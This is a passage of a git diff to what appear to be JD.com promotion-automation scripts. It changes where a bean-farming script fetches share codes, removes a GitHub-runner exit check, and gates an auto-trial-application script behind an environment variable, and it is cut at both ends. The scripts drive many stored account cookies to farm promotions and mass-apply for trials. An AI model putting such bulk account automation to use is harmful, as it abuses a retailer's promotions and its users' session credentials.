$loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_syj.js b/jd_syj.js index 85e2d2c..233e1a9 100755 --- a/jd_syj.js +++ b/jd_syj.js @@ -26,7 +26,7 @@ const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; +const randomCount = $.isNode() ? 0 : 5; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; $.tuanList = []; @@ -36,7 +36,6 @@ if ($.isNode()) { cookiesArr.push(jdCookieNode[item]) }) if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } @@ -46,9 +45,9 @@ const JD_API_HOST = 'https://api.m.jd.com/api'; $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); return; } - await getAuthorShareCode('https://www.fastmock.site/mock/cbbb3764093b72da95d9396d19b9a901/jd/jd/jdsyj'); - //await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zz.json'); - //await getRandomCode(); + // await getAuthorShareCode('http://cdn.annnibb.me/jd_zz.json'); + // await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jd_zz.json'); + await getRandomCode(); for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -70,32 +69,33 @@ const JD_API_HOST = 'https://api.m.jd.com/api'; await main(); } } - for (let i = 0; i < cookiesArr.length; i++) { - $.canHelp = true - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ($.canHelp && (cookiesArr.length > $.assistNum)) { - if ($.tuanList.length) console.log(`开始账号内部互助`) - for (let j = 0; j < $.tuanList.length; ++j) { - console.log(`账号 ${$.UserName} 给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) - await helpFriendTuan($.tuanList[j]) - if(!$.canHelp) break - await $.wait(200) - } - } - if ($.canHelp) { - $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])]; - if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者lxk0301和随机团助力`) - for (let j = 0; j < $.authorTuanList.length; ++j) { - //console.log(`账号 ${$.UserName} 开始给作者lxk0301和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) - await helpFriendTuan($.authorTuanList[j]) - if(!$.canHelp) break - await $.wait(200) - } - } - } - } + // console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者lxk0301和随机团助力)\n`) + // for (let i = 0; i < cookiesArr.length; i++) { + // $.canHelp = true + // if (cookiesArr[i]) { + // cookie = cookiesArr[i]; + // $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + // if ($.canHelp && (cookiesArr.length > $.assistNum)) { + // if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`) + // for (let j = 0; j < $.tuanList.length; ++j) { + // console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`) + // await helpFriendTuan($.tuanList[j]) + // if(!$.canHelp) break + // await $.wait(200) + // } + // } + // if ($.canHelp) { + // $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])]; + // if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者lxk0301和随机团助力`) + // for (let j = 0; j < $.authorTuanList.length; ++j) { + // console.log(`账号 ${$.UserName} 开始给作者lxk0301和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`) + // await helpFriendTuan($.authorTuanList[j]) + // if(!$.canHelp) break + // await $.wait(200) + // } + // } + // } + // } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -114,8 +114,8 @@ async function main() { try { // await userSignIn();//赚京豆-签到领京豆 await vvipTask();//赚京豆-加速领京豆 - await distributeBeanActivity();//赚京豆-瓜分京豆 - await showMsg(); + // await distributeBeanActivity();//赚京豆-瓜分京豆 + // await showMsg(); } catch (e) { $.logErr(e) } @@ -693,7 +693,7 @@ function openTuan() { function getAuthorShareCode(url) { return new Promise(resolve => { const options = { - url: `${url}?${Date.now()}`, "timeout": 10000, headers: { + url: `${url}`, "timeout": 10000, headers: { "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" } }; @@ -724,7 +724,7 @@ function getAuthorShareCode(url) { }) } async function getRandomCode() { - await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => { + await $.http.get({url: `https://raw.fastgit.org/zero205/updateTeam/master/shareCodes/jd_zz.json`, timeout: 10000}).then(async (resp) => { if (resp.statusCode === 200) { try { let { body } = resp; diff --git a/jd_try.js b/jd_try.js index f1478d4..b7ab963 100755 --- a/jd_try.js +++ b/jd_try.js @@ -1,1076 +1,1101 @@ - +/* + * 由zero205二次修改:脚本默认不运行 + * 如需运行请自行添加环境变量:JD_TRY,值填 true 即可运行 + * TG交流群:https://t.me/jd_zero205 + * TG通知频道:https://t.me/jd_zero205_tz + * +update 2021/6/7 +京东试用:脚本更新地址 https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_try.js +脚本兼容: QuantumultX, Node.js +⚠️ 非常耗时的脚本! +每天最多关注300个商店,但用户商店关注上限为500个。 +请配合取关脚本试用,使用 jd_unsubscribe.js 提前取关至少250个商店确保京东试用脚本正常运行。 +==========================Quantumultx========================= +[task_local] +# 取关京东店铺商品,请在 boxjs 修改取消关注店铺数量 +5 10 * * * https://raw.githubusercontent.com/lxk0301/jd_scripts/master/jd_unsubscribe.js, tag=取关京东店铺商品, enabled=true +# 京东试用 +30 10 * * * https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_try.js, tag=京东试用, img-url=https://raw.githubusercontent.com/ZCY01/img/master/jdtryv1.png, enabled=true + */ const $ = new Env('京东试用') - const selfDomain = 'https://try.m.jd.com' let allGoodList = [] let notifyMsg = '' - // default params const args = { - // 是否通知 - jdNotify: false, - // 每次获取商品数量 - pageSize: 12, - // 试用商铺类型 - cidsList: ["家用电器", "手机数码", "电脑办公", "家居家装"], - // 试用类型 - typeList: ["普通试用", "闪电试用"], - // 商品过滤关键字 - goodFilters: "教程@软件@英语@辅导@培训@表带@皮带@瑜伽垫@水饺@燕窝@高钙奶@纯牛奶@树苗@集体课@现场课@奶粉@看房游@口服液@灸贴@云南旅游@掌之友@金满缘@新兴港隆@拆机@品鉴@试饮@咨询@零基础@直播课@体验@网课@训练营@礼品袋@装修@快狐@疣@包皮@疏通@药@鱼胶@狗狗@幼犬@戒烟@尿垫@浪潮英信@专家@长高课@饲料@代办@美缝剂@体验@遮瑕@洗面奶@洁面乳@抗皱@膏@猫砂@购房@消食@积食@软胶囊@养生茶@驼背@房产@辅食@打印纸@财务管理@进销存@实战@生发液@早泄@阳痿@染发@补血@珍珠粉@玛咖@灰指甲@阿胶@维生素@同仁堂@讲堂@教材@补肾@精品课@开发@疹@疮@疥@软膏@真题@模拟题@专车接送@看海@看房@学员@投资@通关@名师@节课@酵素@滴眼液@全国流量@奶粉@香皂@精油@爱犬@课程@教学@教程@猫人@学车@你拍一@手机壳@益生菌@宠物@会计@考试@职称@漱口水@吊坠@胶原蛋白@鲜花@蛋白粉@降血糖@降血脂@降血压@管理系统@收银系统@体检@检查@减肥@玫瑰花@股票@丰胸@避孕套@保湿@补水@粉底@口红@耳钉@耳环@耳坠@收纳盒@大王卡@管理软件@博仑帅@荧光笔@原子笔@月租@上网卡@不限流量@日租卡@洗车机@热水袋@钥匙扣@饼干@甲醛检测@贴膜@美容器@拖鞋@桨叶@烫发@清洁套装@鼠标垫@数据线@硒鼓@壁纸@防晒霜@护手霜@面霜@添加剂@修复@祛疤@精华液@玻尿酸@挂画@壁画@精华水@润滑油@机油@普洱茶@吸奶器@吸顶灯@爽肤水@面膜@冰箱底座@胶漆@小靓美@洁面扑@内衣@胸罩@文胸@卷尺@种子@档案袋@塑料袋@垃圾袋@癣@脚气@阴道@生殖器@肛门@狐臭@老太太@妇女@私处@孕妇@卫生巾@卫生条@培训@洋娃娃@男孩玩具@女孩玩具@益智@女性内衣@女性内裤@女内裤@女内衣@女孩@三角裤@鱼饵@钓鱼@尿杯@安全座椅@玩具@娃娃@网课@课程@辅导@网校@电商@车载充电器@网络课程@美少女@纸尿裤@英语@俄语@四级@六级@四六级@在线网络@在线@阴道炎@宫颈@糜烂@喷剂@飞机杯@手机膜@钢化膜@水凝膜@手机壳@手机支架@钢化膜@猫粮@狗粮@戒指@手链@项链@手镯@牙刷@加湿器@水垢@喷雾@茶叶@净水壶@眼霜@香水@墨盒@墨水@墨粉@颜料@中性笔@钢笔@马克笔@震动棒@自慰器@延时@触媒".split('@'), - // 商品最低价格 - minPrice: 70, - // 商品提供最多的数量 - maxSupplyCount: 10, - // 商品试用之间的间隔, 单位:毫秒,随机间隔[applyInterval, applyInterval+2000] - applyInterval: 5000 + // 是否通知 + jdNotify: false, + // 每次获取商品数量 + pageSize: 12, + // 试用商铺类型 + cidsList: ["家用电器", "手机数码", "电脑办公", "家居家装"], + // 试用类型 + typeList: ["普通试用", "闪电试用"], + // 商品过滤关键字 + goodFilters: "教程@软件@英语@辅导@培训".split('@'), + // 商品最低价格 + minPrice: 0, + // 商品提供最多的数量 + maxSupplyCount: 10, + // 商品试用之间的间隔, 单位:毫秒,随机间隔[applyInterval, applyInterval+2000] + applyInterval: 5000 } const cidsMap = { - "全部商品": "0", - "家用电器": "737", - "手机数码": "652,9987", - "电脑办公": "670", - "家居家装": "1620,6728,9847,9855,6196,15248,14065", - "美妆护肤": "1316", - "服饰鞋包": "1315,1672,1318,11729", - "母婴玩具": "1319,6233", - "生鲜美食": "12218", - "图书音像": "1713,4051,4052,4053,7191,7192,5272", - "钟表奢品": "5025,6144", - "个人护理": "16750", - "家庭清洁": "15901", - "食品饮料": "1320,12259", - "更多惊喜": "4938,13314,6994,9192,12473,6196,5272,12379,13678,15083,15126,15980", + "全部商品": "0", + "家用电器": "737", + "手机数码": "652,9987", + "电脑办公": "670", + "家居家装": "1620,6728,9847,9855,6196,15248,14065", + "美妆护肤": "1316", + "服饰鞋包": "1315,1672,1318,11729", + "母婴玩具": "1319,6233", + "生鲜美食": "12218", + "图书音像": "1713,4051,4052,4053,7191,7192,5272", + "钟表奢品": "5025,6144", + "个人护理": "16750", + "家庭清洁": "15901", + "食品饮料": "1320,12259", + "更多惊喜": "4938,13314,6994,9192,12473,6196,5272,12379,13678,15083,15126,15980", } const typeMap = { - "全部试用": "0", - "普通试用": "1", - "闪电试用": "3", - "30天试用": "5", + "全部试用": "0", + "普通试用": "1", + "闪电试用": "3", + "30天试用": "5", } !(async () => { - await requireConfig() - if (!$.cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }) - return - } - for (let i = 0; i < $.cookiesArr.length; i++) { - if ($.cookiesArr[i]) { - $.cookie = $.cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await totalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - continue - } + console.log(`\n本脚本默认不运行,也不建议运行\n如需运行请自行添加环境变量:JD_TRY,值填:true\n`) + await $.wait(1000) + if (process.env.JD_TRY && process.env.JD_TRY === 'true') { + await requireConfig() + if (!$.cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await totalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } - $.goodList = [] - $.successList = [] - if (allGoodList.length == 0) { - await getGoodList() - filterGoodList() - } - await getApplyStateByActivityIds() + $.goodList = [] + $.successList = [] + if (allGoodList.length == 0) { + await getGoodList() + filterGoodList() + } + await getApplyStateByActivityIds() - $.totalTry = 0 - $.totalGoods = $.goodList.length - await tryGoodList() - await getSuccessList() + $.totalTry = 0 + $.totalGoods = $.goodList.length + await tryGoodList() + await getSuccessList() - await showMsg() - } - } - await $.notify.sendNotify(`${$.name}`, notifyMsg); + await showMsg() + } + } + await $.notify.sendNotify(`${$.name}`, notifyMsg); + } else { + console.log(`\n您未设置运行【京东试用】脚本,结束运行!\n`) + await $.wait(1000) + return; + } })() - .catch((e) => { - console.log(`❗️ ${$.name} 运行错误!\n${e}`) - }).finally(() => $.done()) + .catch((e) => { + console.log(`❗️ ${$.name} 运行错误!\n${e}`) + }).finally(() => $.done()) function requireConfig() { - return new Promise(resolve => { - console.log('开始获取配置文件\n') - $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } - //获取 Cookies - $.cookiesArr = [] - if ($.isNode()) { - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = require('./jdCookie.js'); - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - $.cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - } else { - //IOS等用户直接用NobyDa的jd $.cookie - $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${$.cookiesArr.length}个京东账号\n`) + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + $.cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${$.cookiesArr.length}个京东账号\n`) - if ($.isNode()) { - if (process.env.JD_TRY_CIDS_KEYS) { - args.cidsList = process.env.JD_TRY_CIDS_KEYS.split('@').filter(key => { - return Object.keys(cidsMap).includes(key) - }) - } - if (process.env.JD_TRY_TYPE_KEYS) { - args.typeList = process.env.JD_TRY_TYPE_KEYS.split('@').filter(key => { - return Object.keys(typeMap).includes(key) - }) - } - if (process.env.JD_TRY_GOOD_FILTERS) { - args.goodFilters = process.env.JD_TRY_GOOD_FILTERS.split('@') - } - if (process.env.JD_TRY_MIN_PRICE) { - args.minPrice = process.env.JD_TRY_MIN_PRICE * 1 - } - if (process.env.JD_TRY_PAGE_SIZE) { - args.pageSize = process.env.JD_TRY_PAGE_SIZE * 1 - } - if (process.env.JD_TRY_MAX_SUPPLY_COUNT) { - args.maxSupplyCount = process.env.JD_TRY_MAX_SUPPLY_COUNT * 1 - } - } else { - let qxCidsList = [] - let qxTypeList = [] - const cidsKeys = Object.keys(cidsMap) - const typeKeys = Object.keys(typeMap) - for (let key of cidsKeys) { - const open = $.getdata(key) - if (open == 'true') qxCidsList.push(key) - } - for (let key of typeKeys) { - const open = $.getdata(key) - if (open == 'true') qxTypeList.push(key) - } - if (qxCidsList.length != 0) args.cidsList = qxCidsList - if (qxTypeList.length != 0) args.typeList = qxTypeList - if ($.getdata('filter')) args.goodFilters = $.getdata('filter').split('@') - if ($.getdata('min_price')) args.minPrice = Number($.getdata('min_price')) - if ($.getdata('page_size')) args.pageSize = Number($.getdata('page_size')) - if ($.getdata('max_supply_count')) args.maxSupplyCount = Number($.getdata('max_supply_count')) - if (args.pageSize == 0) args.pageSize = 12 - } - resolve() - }) + if ($.isNode()) { + if (process.env.JD_TRY_CIDS_KEYS) { + args.cidsList = process.env.JD_TRY_CIDS_KEYS.split('@').filter(key => { + return Object.keys(cidsMap).includes(key) + }) + } + if (process.env.JD_TRY_TYPE_KEYS) { + args.typeList = process.env.JD_TRY_TYPE_KEYS.split('@').filter(key => { + return Object.keys(typeMap).includes(key) + }) + } + if (process.env.JD_TRY_GOOD_FILTERS) { + args.goodFilters = process.env.JD_TRY_GOOD_FILTERS.split('@') + } + if (process.env.JD_TRY_MIN_PRICE) { + args.minPrice = process.env.JD_TRY_MIN_PRICE * 1 + } + if (process.env.JD_TRY_PAGE_SIZE) { + args.pageSize = process.env.JD_TRY_PAGE_SIZE * 1 + } + if (process.env.JD_TRY_MAX_SUPPLY_COUNT) { + args.maxSupplyCount = process.env.JD_TRY_MAX_SUPPLY_COUNT * 1 + } + } else { + let qxCidsList = [] + let qxTypeList = [] + const cidsKeys = Object.keys(cidsMap) + const typeKeys = Object.keys(typeMap) + for (let key of cidsKeys) { + const open = $.getdata(key) + if (open == 'true') qxCidsList.push(key) + } + for (let key of typeKeys) { + const open = $.getdata(key) + if (open == 'true') qxTypeList.push(key) + } + if (qxCidsList.length != 0) args.cidsList = qxCidsList + if (qxTypeList.length != 0) args.typeList = qxTypeList + if ($.getdata('filter')) args.goodFilters = $.getdata('filter').split('@') + if ($.getdata('min_price')) args.minPrice = Number($.getdata('min_price')) + if ($.getdata('page_size')) args.pageSize = Number($.getdata('page_size')) + if ($.getdata('max_supply_count')) args.maxSupplyCount = Number($.getdata('max_supply_count')) + if (args.pageSize == 0) args.pageSize = 12 + } + resolve() + }) } function getGoodListByCond(cids, page, pageSize, type, state) { - return new Promise((resolve, reject) => { - let option = taskurl(`${selfDomain}/activity/list?pb=1&cids=${cids}&page=${page}&pageSize=${pageSize}&type=${type}&state=${state}`) - delete option.headers['Cookie'] - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) - } else { - data = JSON.parse(data) - if (data.success) { - $.totalPages = data.data.pages - allGoodList = allGoodList.concat(data.data.data) - } else { - console.log(`💩 获得 ${cids} ${page} 列表失败: ${data.message}`) - } - } - } catch (e) { - reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) - } finally { - resolve() - } - }) - }) + return new Promise((resolve, reject) => { + let option = taskurl(`${selfDomain}/activity/list?pb=1&cids=${cids}&page=${page}&pageSize=${pageSize}&type=${type}&state=${state}`) + delete option.headers['Cookie'] + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + $.totalPages = data.data.pages + allGoodList = allGoodList.concat(data.data.data) + } else { + console.log(`💩 获得 ${cids} ${page} 列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) } async function getGoodList() { - if (args.cidsList.length === 0) args.cidsList.push("全部商品") - if (args.typeList.length === 0) args.typeList.push("全部试用") - for (let cidsKey of args.cidsList) { - for (let typeKey of args.typeList) { - if (!cidsMap.hasOwnProperty(cidsKey) || !typeMap.hasOwnProperty(typeKey)) continue - console.log(`⏰ 获取 ${cidsKey} ${typeKey} 商品列表`) - $.totalPages = 1 - for (let page = 1; page <= $.totalPages; page++) { - await getGoodListByCond(cidsMap[cidsKey], page, args.pageSize, typeMap[typeKey], '0') - } - } - } + if (args.cidsList.length === 0) args.cidsList.push("全部商品") + if (args.typeList.length === 0) args.typeList.push("全部试用") + for (let cidsKey of args.cidsList) { + for (let typeKey of args.typeList) { + if (!cidsMap.hasOwnProperty(cidsKey) || !typeMap.hasOwnProperty(typeKey)) continue + console.log(`⏰ 获取 ${cidsKey} ${typeKey} 商品列表`) + $.totalPages = 1 + for (let page = 1; page <= $.totalPages; page++) { + await $.wait(100) + await getGoodListByCond(cidsMap[cidsKey], page, 